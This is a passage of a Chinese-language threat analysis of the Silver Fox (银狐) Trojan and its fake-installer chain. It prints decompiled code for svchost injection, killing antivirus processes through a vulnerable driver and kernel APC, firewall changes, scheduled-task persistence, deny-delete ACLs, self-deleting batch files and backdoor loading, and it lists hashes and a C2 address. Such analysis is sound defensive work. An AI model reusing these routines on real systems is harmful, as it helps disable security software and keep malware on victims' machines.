    "erver8888 -o\"C:\\Users\\Public\\Documents\\x86-Microsoft-Windowsdata\" -y",
    0);

  之后会判断是否存在如下杀软,存在的话则判断x86-Microsoft-Windowsdata是否存在KANG.exe

// 检查系统内是否存在特定的安全软件进程
if ( IsProcessActive(L"360Tray.exe")    || 
     IsProcessActive(L"360tray.exe")    || 
     IsProcessActive(L"QQPCRTP.exe")    || 
     IsProcessActive(L"kxetray.exe")    || 
     IsProcessActive(L"LenovoTray.exe") ) 
{
    // 如果发现杀软,则立刻启动位于公共文档目录下的恶意载荷
    // 路径伪装成系统数据目录:x86-Microsoft-Windowsdata
    StartProcess("C:\\Users\\Public\\Documents\\x86-Microsoft-Windowsdata\\KANG.exe");
}

  之后通过PoolParty注入将一段ShellCode注入到svchost.exe

// 提升当前进程权限,尝试开启调试特权 (SE_DEBUG_PRIVILEGE)
status = RtlAdjustPrivilege(20, TRUE, FALSE, &oldValue);
if (status < 0) {
    ThrowSystemError(status); // 权限提升失败则抛出异常
}
// 获取系统进程快照
hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnapshot == INVALID_HANDLE_VALUE) return -1;

targetPid = 0;
procEntry.dwSize = sizeof(procEntry);

if (Process32FirstW(hSnapshot, &procEntry)) {
    do {
        // 寻找目标进程:svchost.exe
        if (wcscmp(procEntry.szExeFile, L"svchost.exe") == 0) {
            hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, procEntry.th32ProcessID);
            if (!hProcess) continue;

            // 检查该进程的令牌(Token),确认其运行用户
            if (OpenProcessToken(hProcess, TOKEN_QUERY, &hToken)) {
                if (GetTokenInformation(hToken, TokenUser, NULL, 0, &returnLen) || GetLastError() == 122) {
                    pTokenUser = malloc(returnLen);
                    if (GetTokenInformation(hToken, TokenUser, pTokenUser, returnLen, &returnLen)) {
                        // 将 SID 转换为字符串,查找 S-1-5-18 (即 SYSTEM 用户)
                        ConvertSidToStringSidW(pTokenUser->User.Sid, &pStringSid);
                        if (wcscmp(pStringSid, L"S-1-5-18") == 0) {
                            targetPid = procEntry.th32ProcessID; // 锁定 SYSTEM 权限的 svchost
                        }
                        LocalFree(pStringSid);
                    }
                    free(pTokenUser);
                }
                CloseHandle(hToken);
            }
            CloseHandle(hProcess);
            if (targetPid) break; // 找到目标,跳出循环
        }
    } while (Process32NextW(hSnapshot, &procEntry));
}
CloseHandle(hSnapshot);

if (!targetPid) return -1;

// 开启跨进程内存操作:创建共享内存段 (Section) 进行注入
hTargetProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, targetPid);
if (hTargetProcess) {
    SectionSize.QuadPart = 2021;
    // 1. 创建一段物理内存区域
    NtCreateSection(&hSection, SECTION_ALL_ACCESS, NULL, &SectionSize, PAGE_EXECUTE_READWRITE, SEC_COMMIT, NULL);

    // 2. 将该内存映射到当前进程(用于写入代码)
    NtMapViewOfSection(hSection, GetCurrentProcess(), &LocalBase, ..., PAGE_READWRITE);

    // 3. 将同一段内存映射到目标 svchost 进程(用于执行代码)
    NtMapViewOfSection(hSection, hTargetProcess, &RemoteBase, ..., PAGE_EXECUTE_READ);

    // 4. 将名为 loc_14016EC50 的 Shellcode 拷贝到共享内存中
    memmove(LocalBase, &Shellcode_Entry, 0x7E5);

    // 5. 在目标进程中启动执行(可能是通过创建远程线程或异步调用)
    ExecuteRemoteCode(hTargetProcess, RemoteBase);
}
return 0;

  在ShellCode中调用KANG.exe并且循环搜索安全软件进程将其结束

_// 模块 A: 激活主载荷
long long StartPayload()
{
    // 动态获取 ShellExecuteA 地址并运行 KANG.exe
    shellExecute = GetApiAddr(SHELL32, "ShellExecuteA");
    return shellExecute(NULL, "open", "C:\\Users\\Public\\Documents\\...\\KANG.exe", NULL);
}

// 模块 B: 强制结束指定进程 (用于清理或强杀)
long long KillProcess(char* targetName)
{
    // 动态获取工具函数地址:快照、进程遍历、打开进程、结束进程
    createSnapshot = GetApiAddr(KERNEL32, "CreateToolhelp32Snapshot");
    processFirst = GetApiAddr(KERNEL32, "Process32First");
    processNext = GetApiAddr(KERNEL32, "Process32Next");

    hSnap = createSnapshot(TH32CS_SNAPPROCESS, 0);
    if (hSnap == -1) return -1;

    if (processFirst(hSnap, &procEntry)) {
        do {
            // 比对进程名,若匹配则强行终止目标
            if (!lstrcmpA(procEntry.szExeFile, targetName)) {
                hProc = OpenProcess(PROCESS_TERMINATE, FALSE, procEntry.th32ProcessID);
                if (hProc) {
                    TerminateProcess(hProc, 0);
                    CloseHandle(hProc);
                }
            }
        } while (processNext(hSnap, &procEntry));
    }
    return CloseHandle(hSnap);
}

  完成上述操作后开始查找是否还存在安全进程,均不存在则执行命令屏蔽所有入站流量,允许所有出站流量后结束

// 持续循环等待,直到检测到任意一个主流杀毒软件进程启动
while ( !IsProcessActive(L"360Tray.exe") && 
        !IsProcessActive(L"360tray.exe") && 
        !IsProcessActive(L"QQPCRTP.exe") && 
        !IsProcessActive(L"kxetray.exe") && 
        !IsProcessActive(L"LenovoTray.exe") ) 
{
    // 每 500 毫秒扫描一次环境
    Sleep(500); 
}
// 设置防火墙:禁止所有未经请求的入站连接,仅允许出站
WinExec("netsh advfirewall set allprofiles firewallpolicy blockinbound,allowoutbound", 0);

继续运行释放出的StartMenuExperienceHostker.exe

  WinExec("C:\\Users\\Public\\Documents\\x86-Microsoft-Windowsdata\\StartMenuExperienceHostker.exe", 0);

  之后通过释放名为Cndom6.sys的驱动程序并加载,将之前收集的杀软路径信息发送给驱动进行强制结束与文件删除

  // 初始化并整合所有搜集到的杀软路径列表
InitPathList(PathArray);
StorePath(PathArray[0], Path_360);
StorePath(PathArray[1], Path_QQ);
/* ... 将之前通过巡逻获取的所有绝对路径存入处理队列 ... */

// 关键步骤:加载具备“白名单”权限的漏洞驱动(利用合法的内核漏洞)
LoadVulnerableDriver(); 

// 遍历路径队列中的每一个安全软件项目
for (pItem = GetFirst(PathArray); pItem != GetEnd(PathArray); pItem += 32) 
{
    // 如果该项目有效(路径不为空)
    if (IsValidItem(pItem)) 
    {
        targetPath = GetPathFromItem(pItem);
        // 调用内核函数,利用驱动特权强行破坏或关闭目标
        KernelKillSecuritySoftware(targetPath);
    }
}

  然后为释放出的StartMenuExperienceHostker创建计划任务,实现自启动

// 初始化登录触发器 (Logon Trigger)
// 作用:设置程序在任何用户登录系统时自动执行
triggerName = CreateBSTR("LogonTrigger1");
// 调用 ILogonTrigger::put_Id 接口设置触发器标识
(*(void (__fastcall **)(ITrigger*, BSTR))(*ILogonTrigger + 72))(pLogonTrigger, triggerName);

// 释放临时字符串并清理触发器引用计数
FreeBSTR(triggerName);

// 获取任务操作集合 (Action Collection)
if ( pTaskDefinition->lpVtbl->get_Actions(pTaskDefinition, &pActionCollection) >= 0 )
{
    // 创建一个新的执行操作 (Exec Action)
    if ( pActionCollection->lpVtbl->Create(pActionCollection, TASK_ACTION_EXEC, &pAction) >= 0 )
    {
        // 关键步骤:设置要执行的恶意程序路径
        // 伪装路径:x86-Microsoft-Windowsdata(模仿系统数据文件夹)
        targetPath = CreateBSTR("C:\\Users\\Public\\Documents\\x86-Microsoft-Windowsdata\\StartMenuExperienceHostker.exe");

        // 调用 IExecAction::put_Path 接口,将恶意程序绑定到计划任务
        pExecAction->lpVtbl->put_Path(pExecAction, targetPath);
    }
}

  调用释放出的三个驱动

LoadAndInitDriver("C:\\Users\\Public\\Documents\\...\\fildds.sys");
LoadAndInitDriver("C:\\Users\\Public\\Documents\\...\\filnk.sys");
LoadAndInitDriver("C:\\Users\\Public\\Documents\\...\\filwfp.sys");

  将释放出的恶意载荷权限设置为拒绝访问和删除

// 第一阶段:锁定整个恶意软件文件夹
// 获取目录 C:\Users\Public\Documents\x86-Microsoft-Windowsdata 的现有安全信息
GetNamedSecurityInfoA(MalwareDir, SE_FILE_OBJECT, DACL_SECURITY_INFORMATION, ..., &OldAcl);

// 创建一个“拒绝所有访问”的 SID (EveryOne 或特定用户组)
AllocateAndInitializeSid(&Auth, 1, ..., &pSid);

// 构造 ACL 条目:设置为 DENY_ACCESS (拒绝访问),权限为 64 (删除权限等)
pListOfExplicitEntries.grfAccessMode = DENY_ACCESS;
pListOfExplicitEntries.grfInheritance = SUB_CONTAINERS_AND_OBJECTS_INHERIT; // 子目录和文件强制继承

// 应用新权限,使任何用户(包括管理员)都无法轻易进入或删除该文件夹
SetNamedSecurityInfoA(MalwareDir, SE_FILE_OBJECT, DACL_SECURITY_INFORMATION, ..., NewAcl);

// 第二阶段:循环锁定四个关键载荷文件
char* TargetFiles[] = { "WUDFCompanionHoste.exe", "StartMenuExperienceHostker.exe", "Server.log", "lod.dll" };
for (int i = 0; i < 4; i++) {
    // 对每个文件重复上述步骤,显式设置权限码 0x10000 (DELETE 权限) 为拒绝
    // 确保即使文件夹权限被破解,单个文件依然无法被删除
    SetFileDenyDeletePermission(TargetFiles[i]);
}

  继续通过PowerShell脚本加固前述的文件权限与计划任务

// 1. 混合使用 cmd 命令和 takeown/icacls 强制获取并重设文件权限
// 命令逻辑:夺取所有权 -> 授予管理员全权 -> 拒绝 Everyone 的删除权限
sprintf(cmdBuffer, "cmd /c \"takeown /f \"%s\" /a & icacls \"%s\" /grant Administrators:F ...\"", targetPath);
system(cmdBuffer);

// 2. 构造复杂的 PowerShell 脚本,针对计划任务对应的注册表项进行底层加固
// $regPath 指向该计划任务在 HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache 中的路径
sprintf(psCommand, 
    "powershell -Command \"$regPath = '%s'; "
    "$acl = (Get-Item -Path $regPath).GetAccessControl(); "
    "$acl.SetAccessRuleProtection($true, $false); " // 开启保护,断开权限继承
    "$acl.Access | ForEach-Object { $acl.RemoveAccessRule($_); }; " // 清空现有所有权限条目
    "$sidSystem = New-Object System.Security.Principal.SecurityIdentifier('S-1-5-18'); " // 系统账户 (SYSTEM)
    "$acl.AddAccessRule(...FullControl, Allow); " // 仅允许 SYSTEM 全权控制
    "$acl.AddAccessRule(...Delete, Deny); "        // 强制拒绝 Everyone 的删除请求
    "(Get-Item -Path $regPath).SetAccessControl($acl);\"", 
    registryKeyPath);

// 3. 禁用特定的系统任务,防止干扰
system("Disable-ScheduledTask -TaskName '...");

  在完成上述的一系列杀软清理与权限加固之后进入自我清理阶段,将中间载物清理掉之后通过写入一个del.bat文件并运行进行自我删除

 // 1. 清理释放阶段产生的临时工具和旧载荷
DeleteFileA("C:\\ProgramData\\WindowsData\\funzip.exe");
DeleteFileA("C:\\Users\\Public\\Documents\\...\\KANG.exe");
DeleteFileA("C:\\Users\\Public\\Documents\\...\\tree.exe");

// 2. 获取当前运行的安装器自身路径
GetModuleFileNameA(NULL, Filename, MAX_PATH);

// 3. 动态创建一个名为 del.bat 的批处理脚本
fp = fopen("del.bat", "w");
if (fp) {
    fputs("@echo off\n", fp);
    // 延迟 2 秒,确保当前主程序已经完全退出,否则无法删除正在运行的文件
    fputs("ping -n 2 127.0.0.1 >nul\n", fp);
    // 强制删除安装器自身
    fprintf(fp, "del /f /q \"%s\"\n", Filename);
    // 批处理脚本最后删除自己(%0 代表脚本自身)
    fputs("del /f /q \"%%0\"\n", fp);
    fclose(fp);

    // 后台静默运行脚本
    WinExec("del.bat", SW_HIDE);
}

// 4. 立即退出进程,为脚本删除自己腾出空间
ExitProcess(0);

KANG.exe分析

字段 内容
原始文件名 KANG.exe
文件大小 1.23 MB (1287680 bytes)
文件MD5 66b3c16d08b708db30a07ad4378f096b
文件类型 PE
病毒名 Trojan.Kryptik/x64!1.138DD
主要功能 释放漏洞驱动并加载

  首先检查需加载的sys是否已被加载

  // 打开服务控制管理器 (SCM)
hSCM = OpenSCManagerA(NULL, NULL, SC_MANAGER_ALL_ACCESS);
if (hSCM) 
{
    // 获取待检查的服务名(如之前提到的 filnk.sys 等对应的服务名)
    serviceName = GetServiceName(lpServiceName);
    hService = OpenServiceA(hSCM, serviceName, SERVICE_ALL_ACCESS);

    if (hService) 
    {
        // 查询服务当前状态
        if (QueryServiceStatus(hService, &ServiceStatus)) 
        {
            // 如果服务已经运行 (dwCurrentState != SERVICE_STOPPED)
            if (ServiceStatus.dwCurrentState != SERVICE_STOPPED) 
            {
                // 记录状态并直接退出(说明驱动已在工作)
                LogStatus("Service already running", ServiceStatus.dwCurrentState);
            } 
            else 
            {
                // 如果服务未运行,则尝试强制启动它
                LogStatus("Attempting to start service...");
                if (StartServiceA(hService, 0, NULL)) 
                {
                    LogStatus("Service started successfully");
                } 
                else if (GetLastError() == ERROR_SERVICE_ALREADY_RUNNING) 
                {
                    LogStatus("Service was already being started");
                }
            }
        }
        CloseServiceHandle(hService);
    }
    CloseServiceHandle(hSCM);
}

  如果sys文件还未被加载则解密并释放出三个sys文件

// 尝试以独占写入模式创建文件(通常是 .sys 驱动或 .dll)
// 0x40000000u = GENERIC_WRITE, 1u = FILE_SHARE_READ
hFile = CreateFileA(FilePath, GENERIC_WRITE, FILE_SHARE_READ, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);

if (hFile == INVALID_HANDLE_VALUE) 
{
    // 如果创建失败(如路径被保护),格式化错误信息并记录日志
    logBase = FormatLog(LOG_ID_CREATE_FAIL, "CreateFile Error");
    errorMsg = GetErrorMessage(v37);
    LogToFile(sub_140137350(logBase, errorMsg));
    goto LABEL_25;
}

// 将内存中加密或解密后的二进制数据写入磁盘
if (!WriteFile(hFile, Buffer, BufferSize, &BytesWritten, NULL)) 
{
    // 如果写入失败,记录详细的写入错误日志
    logBase = FormatLog(LOG_ID_WRITE_FAIL, "WriteFile Error");
    errorMsg = GetErrorMessage(v37);
    // ... 错误处理逻辑 ...
}

  将三个sys文件加载起来

 // 在服务控制管理器中创建新的驱动项
// 参数 1u 表示 SERVICE_KERNEL_DRIVER (内核驱动)
// 参数 3u 表示 SERVICE_DEMAND_START (手动启动)
hService = CreateServiceA(
    hSCM, 
    ServiceName, 
    ServiceName, 
    SERVICE_ALL_ACCESS, 
    SERVICE_KERNEL_DRIVER, 
    SERVICE_DEMAND_START, 
    SERVICE_ERROR_NORMAL, 
    lpBinaryPathName, // 指向 .sys 文件的路径
    NULL, NULL, NULL, NULL, NULL
);

if (hService) {
    LogInfo("Service created", lpDisplayName);
} else {
    LogStatus("CreateService failed", GetLastError());
}

// 立即启动创建好的驱动服务
if (StartServiceA(hService, 0, NULL)) {
    LogInfo("Service started successfully", lpDisplayName);
} else {
    LogStatus("StartService failed", GetLastError());
}

  此为其全部将三个sys文件加载完成后的命令行界面

image

StartMenuExperienceHostker.exe分析

字段 内容
原始文件名 StartMenuExperienceHostker.exe
文件大小 134.50 KB (137728 bytes)
文件MD5 c5cd21e97b092217fbdccea5cbe89931
文件类型 PE
病毒名 Rootkit.Agent!1.1361F
主要功能 调用此前释放的Cndom6.sys

  其主要逻辑则是判断Cndom6.sys是否被加载,如果未被加载则将其加载起来,之后发送0x2221800x2221900x22218C控制码调用驱动结束杀软进程

// 初始化并获取驱动服务名、路径及设备名
InitStrings();
hDevice = OpenDriverDevice(ServiceName, BinaryPathName, DeviceName);

if (hDevice != INVALID_HANDLE_VALUE) 
{
    // 发送 IOCTL 0x222180:可能用于驱动初始化或开启内核回调
    DeviceIoControl(hDevice, 0x222180u, 0, 0, 0, 0, &returned, 0);

    // 发送 IOCTL 0x222190:将特定数据(v0)传入驱动,可能用于设置过滤名单
    DeviceIoControl(hDevice, 0x222190u, &InBuffer, 4, 0, 0, &returned, 0);

    // 发送 IOCTL 0x22218C:触发驱动的特定保护逻辑(如文件/进程锁定)
    DeviceIoControl(hDevice, 0x22218Cu, &InBuffer, 4, 0, 0, &returned, 0);
}

// 创建并运行两个核心功能线程(如监控杀软启动、与远程 C2 通信)
hThread1 = CreateThread(NULL, 0, MainMalwareLogic, NULL, 0, NULL);
hThread2 = CreateThread(NULL, 0, PersistenceMonitor, NULL, 0, NULL);

// 阻塞主进程,确保恶意线程持续在后台运行
WaitForSingleObject(hThread1, INFINITE);
WaitForSingleObject(hThread2, INFINITE);

  在一次调用完成后还会创建两个线程循环检查并结束杀软进程,线程1负责循环调用0x2221800x229390

// 守护线程死循环,确保持久化存活
while (1) 
{
    // 检查核心标记(如互斥体或特定内存状态)是否仍然有效
    if (!CheckMalwareStatus()) 
    {
        // 1. 如果状态异常,重新执行命令行操作(可能是重新释放文件或修复配置)
        GetRecoveryCmd(CmdLine);
        WinExec(CmdLine, SW_HIDE);

        // 2. 重新加载驱动程序并尝试获取设备句柄
        hDevice = ReinstallDriver(ServiceName, BinaryPathName, DeviceName);

        // 3. 如果驱动加载成功,重新下发内核控制指令(IOCTL)
        if (hDevice != INVALID_HANDLE_VALUE) 
        {
            // 重新初始化驱动内核逻辑
            DeviceIoControl(hDevice, 0x222180u, NULL, 0, NULL, 0, &returned, NULL);
            // 重新注入配置参数(v1)
            DeviceIoControl(hDevice, 0x229390u, &v1, 4, NULL, 0, &returned, NULL);
        }
    }
    // 每隔 15 秒(3A98h)轮询一次,降低 CPU 占用并逃避简单的频率检测
    Sleep(15000);
}

  线程2负责循环调用0x2221B0

 // 循环处理 16 个目标项
do 
{
    // 从列表中获取第 v0 个项的特征信息或进程 ID
    targetData = GetTargetFromList(v3[v0]);
    if (targetData) 
    {
        // 确保驱动句柄有效
        if (hDevice != INVALID_HANDLE_VALUE) 
        {
            // 通过 IOCTL 0x2221B0 将目标数据发送至内核
            // 内核驱动接收后通常会执行拦截、屏蔽或保护操作
            DeviceIoControl(hDevice, 0x2221B0u, &targetData, 4, NULL, 0, &returned, NULL);
        }
    }
    index++;
} 
while (index < 16); // 循环直至处理完所有 16 个预设目标

  0x2221B0的主要工作逻辑为搜索安全软件进程发现后通过APC注入结束指令,强制其自我结束

 // 检查全局标志和目标 PID 有效性
if (!g_Initialized || !TargetPid) return STATUS_UNSUCCESSFUL;

// 1. 根据 PID 获取进程对象 (EPROCESS)
if (PsLookupProcessByProcessId((HANDLE)TargetPid, &TargetProcess) < 0) 
    return STATUS_UNSUCCESSFUL;

ObfDereferenceObject(TargetProcess);

// 安全检查:跳过系统进程、当前进程以及某些特定环境
if (TargetProcess == IoGetCurrentProcess() || TargetProcess == PsInitialSystemProcess)
    return STATUS_UNSUCCESSFUL;

// 2. 遍历系统中可能的线程 ID (TID),寻找属于目标进程的线程
for (ThreadId = 8; ThreadId < 0x30D40; ThreadId += 4) 
{
    if (PsLookupThreadByThreadId((HANDLE)ThreadId, &TargetThread) >= 0) 
    {
        // 验证该线程是否属于我们要注入的目标进程
        if (IoThreadToProcess(TargetThread) == TargetProcess) 
        {
            // 3. 申请非分页内存,准备构造 APC 结构
            pApc = ExAllocatePool(NonPagedPool, sizeof(KAPC));
            if (pApc) 
            {
                memset(pApc, 0, 88);
                // 4. 初始化内核 APC,指向恶意回调函数 sub_14000165C
                KeInitializeApc(pApc, TargetThread, 0, KernelApcRoutine, 0, 0, KernelMode, 0);

                // 5. 将 APC 插入目标线程队列,实现代码执行
                if (KeInsertQueueApc(pApc, 0, 0, 2)) 
                {
                    ObfDereferenceObject(TargetThread);
                    return STATUS_SUCCESS; // 注入成功
                }
                ExFreePool(pApc);
            }
        }
        ObfDereferenceObject(TargetThread);
    }
}
return STATUS_UNSUCCESSFUL;

log.dll分析

字段 内容
原始文件名 log.dll
文件大小 146.00 KB (149504 bytes)
文件MD5 66d4ae51b668694b2ea160dd5a891457
文件类型 PE
病毒名 Trojan.ShellCodeRunner!1.1396E
主要功能 解密Server.log加载后门

  首先使用解密密钥??Bid@locale@stdServer.log文件进行RC4解密,解密出winos后门,之后调用后门的NtHandleCallback函数运行

  // 定位当前目录并以二进制只读模式打开载荷文件
GetModuleFileNameA(NULL, Filename, MAX_PATH);
PathRemoveFileSpecA(Filename);
SetCurrentDirectoryA(Filename);
hFile = fopen("Server.log", "rb");

if (hFile) {
    // 获取文件大小并申请对应的内存空间
    size = GetFileSize(hFile);
    buffer = malloc(size);
    // 将 Server.log 的内容全部读入内存
    fread(buffer, 1, size, hFile);
    fclose(hFile);

    // 关键步骤:使用伪装字符串(??Bid@locale@std)作为密钥或校验,解密并加载 DLL
    hModule = ReflectiveLoadLibrary(buffer);

    if (hModule) {
        // 查找并调用解密后模块中的导出函数 "NtHandleCallback"
        // 这通常是载荷正式运行的入口点
        pEntry = GetProcAddress(hModule, "NtHandleCallback");
        if (pEntry) pEntry();

        // 运行后清理内存痕迹
        FreeLibrary(hModule);
        free(buffer);
    }
}

  此为其配置文件,可以看出其C2为192.253.229.223

image

攻击过程可视化(EDR)

基于瑞星EDR终端检测与响应平台的实时监控数据,通过威胁行为可视化分析功能,我们也可以完整还原相关程序的执行过程和关联关系

image

总结

银狐木马近年来不断地更新自己的攻击手法并积极地与安全软件进行对抗,针对仿冒网站结合FakeApp这种传播方式,瑞星建议用户:

  • 擦亮眼睛,软件优先选择从官方网站下载,规避搜索引擎结果内包含“广告”字样的结果(或者安装一款广告拦截工具)
  • 安装有效的杀毒软件,开启实时监控,并确保其更新至最新

Author

Comments

No comments yet. Why don’t you start the discussion?

Leave a Reply

Your email address will not be published. Required fields are marked *